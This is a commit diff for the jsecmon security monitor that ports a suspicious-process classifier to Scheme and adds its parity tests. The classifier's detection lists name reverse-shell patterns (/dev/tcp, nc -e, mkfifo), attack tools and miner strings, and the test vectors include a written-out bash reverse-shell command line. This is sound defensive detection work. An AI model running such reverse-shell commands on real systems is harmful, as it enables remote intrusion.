jsecmon: port SuspiciousPatterns process classifier as untyped layer
Jaime Fournier <jaimef@linbsd.org>
504421563d45aa71bb84ed5b01b5e7e6863b69f4
--- a/Makefile +++ b/Makefile @@ -8,7 +8,7 @@ SCHEME ?= $(JERBOA)/.chez/bin/scheme BUILD ?= build/rust TYPED := $(wildcard typed/*.ss) -.PHONY: rust test ffi-demo kernels-check triage-check triage-store-check analytics-check detect-check storage-check threats-check geoip-check sigma-check yaml-rules-check buffer-check dns-sniffer-check checks clean +.PHONY: rust test ffi-demo kernels-check triage-check triage-store-check analytics-check detect-check storage-check threats-check geoip-check sigma-check yaml-rules-check buffer-check dns-sniffer-check suspicious-check checks clean # Combined libdir path so sibling libraries `(jsecmon ...)` resolve to ./jsecmon # (a second --libdirs would replace, not append, the jerboa one). LIBDIRS := "$(JERBOA)/lib:$(CURDIR)" @@ -114,6 +114,12 @@ buffer-check: dns-sniffer-check: $(SCHEME) --libdirs $(LIBDIRS) --script examples/dns_sniffer_check.ss +# Suspicious-process classifier (secmon SuspiciousPatterns::check_suspicious): +# shell/tool-from-service, reverse-shell + miner command-line patterns. Pure +# string classification, no native lib. +suspicious-check: + $(SCHEME) --libdirs $(LIBDIRS) --script examples/suspicious_check.ss + # Everything that runs through the Jerboa side of the bridge, one shot. checks: kernels-check $(SCHEME) --libdirs $(LIBDIRS) --script examples/triage_check.ss @@ -127,6 +133,7 @@ checks: kernels-check $(LOADER_ENV) $(SCHEME) --libdirs $(LIBDIRS) --script examples/yaml_rules_check.ss $(SCHEME) --libdirs $(LIBDIRS) --script examples/buffer_check.ss $(SCHEME) --libdirs $(LIBDIRS) --script examples/dns_sniffer_check.ss + $(SCHEME) --libdirs $(LIBDIRS) --script examples/suspicious_check.ss clean: rm -rf $(BUILD) --- a/README.md +++ b/README.md @@ -33,6 +33,7 @@ make sigma-check # Sigma YAML rule importer vs secmon conversion vectors make yaml-rules-check # user YAML detection rules (threshold/distinct/sequence/match) make buffer-check # the agent's encrypted event ring buffer (FIFO + priority eviction) make dns-sniffer-check # DNS wire-format parser (QNAME/compression/answers) + dedup state +make suspicious-check # SuspiciousPatterns: shell/tool-from-service, revshell + miner make checks # every Jerboa-side check in one shot ``` @@ -92,5 +93,6 @@ then crypto orchestration, then I/O / async / FFI (monitors, server, storage). | `geoip` (CSV GeoIP/ASN, IPv4+IPv6, binary-search range lookup, is_private) | `jsecmon/geoip.ss` | ✅ **untyped layer** — full port of secmon's `src/geoip.rs`: parse `start,end,country,asn,name` CSV rows (v4 + one-`::`-expanding v6), sort-by-start + binary-search lookup, RFC1918/loopback/link-local/multicast/ULA/CGNAT → synthetic `PRIVATE`. Pure parsing + integer math + file read, so untyped. `make geoip-check` runs secmon's geoip vectors. | | `storage` impossible_travel | `jsecmon/threats.ss` | ✅ **untyped layer** — geoip-gated (reads `SECMON_GEOIP_CSV`): pair a user's consecutive successful `auth_event`s, fire `high` when the two source IPs resolve to different countries within `SECMON_TRAVEL_GAP_MIN` (default 30). Private IPs are dropped before pairing. `make geoip-check` proves the fire + the gap/same-country/private/cross-user negatives. | | `buffer::ring` (StoredEvent ring buffer) | `jsecmon/buffer.ss` | ✅ **untyped layer** — port of secmon's `src/buffer/ring.rs`: the agent's bounded in-memory event ring. FIFO list + monotonic seq numbering, priority eviction (`event_severity_u8` table, drop lowest-severity oldest-first, oldest-critical last), seq/time-range polling, FIFO delivery-ack (`clear_before`), and the little-endian header codec (`seq u64 ∥ ts i64 ∥ sev u8 ∥ payload`). Pure mechanics, so untyped — the one security step, ECIES payload encryption, is FFI-deferred: the caller hands `buffer-store!` opaque ciphertext bytes. `make buffer-check` reproduces secmon's three ring tests (store/seq, priority eviction, FIFO-oldest) + codec round-trip. | +| `monitor::events::SuspiciousPatterns` (process-spawn classifier) | `jsecmon/suspicious.ss` | ✅ **untyped layer** — `check_suspicious(process, parent)`: shell-from-service, attack-tool-from-service (name exact-match or exe suffix), reverse-shell command-line patterns, and crypto-miner name/cmdline patterns, in secmon's order, returning the same reason string. Pure string classification like triage. Pins two corners the Rust depends on: a missing parent short-circuits to "clean" before any check, and `str::contains` is a *literal* substring test (so `python -c.*socket` is literal, not a regex). `make suspicious-check` reproduces secmon's two events.rs tests + the other three signals + both corners. | | `monitor::dns_sniffer` (DNS wire parser + dedup) | `jsecmon/dns-sniffer.ss` | ✅ **untyped layer** — the platform-independent half of secmon's `src/monitor/dns_sniffer.rs`: the DNS wire-format parser (QNAME decoding with compression-pointer chasing capped at 128 steps, QTYPE→string, question + A/AAAA answer-RR extraction) and the 5s dedup / 30s cleanup state machine. Every bounds check is preserved — a truncated/malformed/looping packet yields `#f`, never a bad read. Pure byte parsing → untyped, like geoip. The AF_PACKET raw-socket capture + `/proc` PID lookup stay for the monitor I/O driver. `make dns-sniffer-check` reproduces secmon's parser + dedup tests (+ AAAA, qtype table, pointer-loop/qdcount guards). | | monitors / server / ebpf / dtrace | — | ⏳ I/O+async+FFI, last | new file mode 100644 --- /dev/null +++ b/examples/suspicious_check.ss @@ -0,0 +1,75 @@ +;;; Parity check for (jsecmon suspicious) against secmon's SuspiciousPatterns +;;; tests in src/monitor/events.rs (test_suspicious_shell_from_service, +;;; test_normal_shell_not_suspicious), plus the other three signals and the two +;;; faithfulness corners: the parent-None short-circuit and the literal (not +;;; regex) substring match. +;;; +;;; scheme --libdirs "$JERBOA/lib:." --script examples/suspicious_check.ss + +(import (jerboa prelude) + (jsecmon suspicious)) + +(def fails 0) +(def (check name got want) + (let ((ok (equal? got want))) + (unless ok (set! fails (+ fails 1))) + (displayln (if ok " ok " " FAIL ") name + (if ok "" (str " got " got " want " want))))) + +;; ── secmon's two unit tests ────────────────────────────────────────────────── +(displayln "secmon events.rs vectors:") +;; bash spawned by gitea (a service) -> suspicious +(check "shell from service fires" + (check-suspicious "bash" "/bin/bash" '("bash") "gitea") + "Shell 'bash' spawned by service 'gitea'") +;; bash spawned by sshd (not a service) -> not suspicious +(check "shell from sshd is clean" + (check-suspicious "bash" "/bin/bash" '("bash") "sshd") + #f) + +;; ── the other two service-parent signals ───────────────────────────────────── +(displayln "tool-from-service:") +(check "curl from nginx fires" + (check-suspicious "curl" "/usr/bin/curl" '("curl" "http://x/") "nginx") + "Suspicious tool 'curl' spawned by service 'nginx'") +;; exe-suffix path: name isn't the tool but the exe ends with it +(check "exe-suffix nc from apache" + (check-suspicious "weird" "/tmp/nc" '("weird") "apache") + "Suspicious tool 'weird' spawned by service 'apache'") +(check "tool from non-service is clean" + (check-suspicious "curl" "/usr/bin/curl" '("curl") "cron") + #f) + +;; ── reverse-shell + miner (need a parent, but not a service) ───────────────── +(displayln "reverse-shell + miner:") +(check "bash -i revshell" + (check-suspicious "bash" "/bin/bash" '("bash" "-i" ">&" "/dev/tcp/10.0.0.1/4444" "0>&1") "init") + "Potential reverse shell pattern detected") +(check "xmrig miner by name" + (check-suspicious "xmrig" "/tmp/xmrig" '("xmrig" "--donate-level" "1") "systemd") + "Potential crypto miner pattern detected") +(check "stratum url miner by cmdline" + (check-suspicious "x" "/tmp/x" '("x" "-o" "stratum+tcp://pool:3333") "init") + "Potential crypto miner pattern detected") + +;; ── faithfulness corners ───────────────────────────────────────────────────── +(displayln "faithfulness corners:") +;; a blatant reverse shell with NO parent is still #f (secmon's early return). +(check "no parent short-circuits" + (check-suspicious "bash" "/bin/bash" '("bash" "-i" "/dev/tcp/1.2.3.4/9") #f) + #f) +;; literal substring: "python -c.*socket" needs the literal ".*", so a real +;; python reverse one-liner WITHOUT ".*" does not match that pattern. With a +;; benign (non-service) parent and no other signal, the result is #f. +(check "literal pattern, no regex match" + (check-suspicious "python3" "/usr/bin/python3" '("python" "-c" "import socket") "init") + #f) +;; shell-from-service wins over a revshell cmdline (order: shell check first). +(check "shell-from-service precedence" + (check-suspicious "sh" "/bin/sh" '("sh" "-c" "/dev/tcp/1/2") "redis") + "Shell 'sh' spawned by service 'redis'") + +(newline) +(if (= fails 0) + (displayln "OK: suspicious matches secmon's SuspiciousPatterns behaviour.") + (begin (displayln fails " FAILURES") (exit 1))) new file mode 100644 --- /dev/null +++ b/jsecmon/suspicious.ss @@ -0,0 +1,94 @@ +#!chezscheme +;;; jsecmon suspicious-process classifier (secmon SuspiciousPatterns), untyped. +;;; +;;; Port of `SuspiciousPatterns::check_suspicious` from secmon's +;;; src/monitor/events.rs: given a process and its parent, decide whether the +;;; spawn looks like an attack and return a human-readable reason (or #f). Four +;;; signals, in secmon's order: +;;; 1. a shell whose parent is a network service (gitea → bash) +;;; 2. an attack tool whose parent is a service (nginx → curl) +;;; 3. a reverse-shell command-line pattern +;;; 4. a crypto-miner name or command-line pattern +;;; +;;; This is positive detection logic over process metadata — the same kind of +;;; pure string classification as the triage engine — so it's untyped Jerboa, +;;; alongside triage/detect/threats, not a typed crypto kernel. +;;; +;;; Two faithfulness points the Rust pins that are easy to get wrong: +;;; • A missing parent short-circuits to "not suspicious" *before* any check — +;;; even a blatant reverse shell with no parent returns #f. +;;; • Rust `str::contains` is a *literal* substring test, so patterns like +;;; "python -c.*socket" match the literal ".*", not a regex. Ported verbatim. +;;; +;;; Verified against secmon's events.rs tests in examples/suspicious_check.ss. + +(library (jsecmon suspicious) + (export check-suspicious reverse-shell-pattern? crypto-miner-pattern?) + (import (except (chezscheme) + make-hash-table hash-table? + sort sort! + printf fprintf + path-extension path-absolute? + with-input-from-string with-output-to-string + iota 1+ 1- + partition + make-date make-time) + (except (jerboa prelude) meta atom?)) + + (def *shells* '("bash" "sh" "zsh" "fish" "dash" "tcsh" "ksh")) + (def *services* + '("nginx" "apache" "httpd" "gitea" "gitlab" "jenkins" + "tomcat" "java" "node" "python" "php-fpm" "postgres" + "mysql" "redis" "mongodb" "docker" "containerd")) + (def *attack-tools* + '("nc" "netcat" "ncat" "socat" "curl" "wget" + "python" "perl" "ruby" "lua" "php" + "base64" "xxd" "openssl" "nmap" "masscan")) + ;; literal substrings (secmon's `str::contains`), NOT regexes + (def *revshell-patterns* + '("/dev/tcp/" "/dev/udp/" "bash -i" "nc -e" "ncat -e" + "python -c.*socket" "perl -e.*socket" "ruby -rsocket" + "php -r.*fsockopen" "mkfifo" "telnet.*\\|.*sh")) + (def *miner-names* + '("xmrig" "minerd" "cpuminer" "cgminer" "bfgminer" + "ethminer" "ccminer" "nheqminer")) + (def *miner-patterns* + '("stratum+tcp://" "stratum+ssl://" "--donate-level" + "-o pool." "--coin=" "nicehash")) + + ;; #t iff `hay` contains any of `needles` as a literal substring. + (def (contains-any? hay needles) + (and (any (lambda (n) (string-contains hay n)) needles) #t)) + ;; #t iff `s` ends with any of `sfxs`. + (def (suffix-any? s sfxs) + (and (any (lambda (x) (string-suffix? x s)) sfxs) #t)) + + (def (reverse-shell-pattern? cmdline) ;; cmdline already joined+lowercased + (contains-any? cmdline *revshell-patterns*)) + (def (crypto-miner-pattern? name-lower cmdline) + (or (contains-any? name-lower *miner-names*) + (contains-any? cmdline *miner-patterns*))) + + ;; process: name/exe strings + cmdline (list of argv strings); parent-name is + ;; the parent process name, or #f if there is no parent. -> reason | #f. + (def (check-suspicious proc-name proc-exe proc-cmdline parent-name) + (if (not parent-name) + #f + (let ((pn (string-downcase proc-name)) + (par (string-downcase parent-name)) + (cmd (string-downcase (string-join proc-cmdline " ")))) + (cond + ;; service -> shell + ((and (contains-any? pn *shells*) (contains-any? par *services*)) + (str "Shell '" proc-name "' spawned by service '" parent-name "'")) + ;; service -> attack tool (name exact-match OR exe suffix) + ((and (or (member pn *attack-tools*) (suffix-any? proc-exe *attack-tools*)) + (contains-any? par *services*)) + (str "Suspicious tool '" proc-name "' spawned by service '" parent-name "'")) + ;; reverse-shell command line + ((reverse-shell-pattern? cmd) + "Potential reverse shell pattern detected") + ;; crypto miner + ((crypto-miner-pattern? pn cmd) + "Potential crypto miner pattern detected") + (else #f))))))